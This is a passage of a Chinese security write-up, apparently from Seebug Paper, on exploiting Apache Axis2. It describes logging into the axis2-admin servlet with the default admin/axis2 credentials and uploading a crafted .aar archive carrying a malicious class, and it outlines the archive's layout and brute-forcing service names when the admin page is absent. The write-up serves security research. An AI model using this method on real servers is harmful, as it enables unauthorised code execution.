web.xml

Axis1中从web端部署service使用的是AdminService,在Axis2中改成了使用org.apache.axis2.webapp.AxisAdminServlet,在web.xml中配置:

ebcce37391967e12c0d477ae20334fe8.png

2.3 Axis2的漏洞利用

利用主要还是有两种:

暴露在外部的web service能直接调用造成危害

从上面的配置文件我们也可以看到,可以使用axis2-admin来部署.arr文件,.arr文件可以写入任意恶意的class文件,默认账号admin/axis2,不需要像axis1那样寻找目标服务器存在的class

利用axis2-admin上传.arr:

ef5682ca8f69d9f1203af086c67b6b59.png

.arr文件的制作可以仿照version-1.7.9.aar,如下结构即可:

META-INF

services.xml(将ServiceClass配置成test.your即可)

test

your.class

2.4 Axis2非默认配置的情况

上面的项目是直接复制了官方所有的配置文件,所以访问首页有官方给出的页面,以及axis2-admin,axis2-admin的AxisAdminServlet类不在官方的jar包中,只是在classes目录下,也就是说axis2-admin也是demo的一部分。如果不需要官方的那些东西的时候,axis2-admin的方式利用就不行了,但是也是能正常调用其他service的,项目结构如下:

5bba47c96922c1730b3c1cc3bf12611e.png

此时访问http://127.0.0.1:8080/axis2/services/listServices会变成500,看下服务端的报错:

96608e4578b8138f05d0a936ad8be04e.png

listServices.jsp找不到,之前能调用listServices是因为用了官方的demo。

但是直接访问service是正常的并且可以调用:

f99ea4aa5ec9f54d3b4b77489c79fd45.png

这种情况下,如果是黑盒就不太好办了,看不到service,只能暴力猜解service name。

本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/1489/

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值